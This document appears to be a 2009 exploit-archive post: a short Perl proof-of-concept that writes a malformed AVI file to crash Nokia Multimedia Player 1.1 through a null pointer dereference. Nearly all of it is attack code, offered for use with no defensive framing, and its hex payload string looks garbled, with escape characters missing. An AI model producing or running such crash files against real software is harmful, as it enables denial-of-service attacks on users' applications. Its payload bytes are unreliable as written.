nokia-nullpointer.txt
Posted on 26 January 2009
#!/usr/local/bin/perl # # Application : Nokia Multimedia Player # Version : v 1.1 # Bug : Local (.AVI File) Null Dereference Pointer Exploit # Exploit Method : Local # Author : Null Area Security # Zigma [zigmatn @ gmail.com] # IRC : irc://irc.nullarea.org/#nullarea # Home : http://NullArea.NET # # Description : Opening a malformed .AVI file with Nokia Multimedia Player version 1.1 causes it to point to Null Pointer [00000000] which leads to crash the application . # # " Access violation when reading [00000000] - " # $area = "ndpe.avi"; $null = "x4Ax75x73x74x00x41x6Ex79x74x68x696Ex76x00". "x54x75x6Ex9673x69x61x00x52x75x6Cx6Cx7Ax7A"; print " Fuzzing Nokia Multimedia Player v 1.1 "; print " [+] Evil file to make : $area ... "; sleep(2); open(avi, ">./$area") || die " Cannot open $area: $!"; print avi "$null"; close (avi); print " [+] File $area successfully created! ";
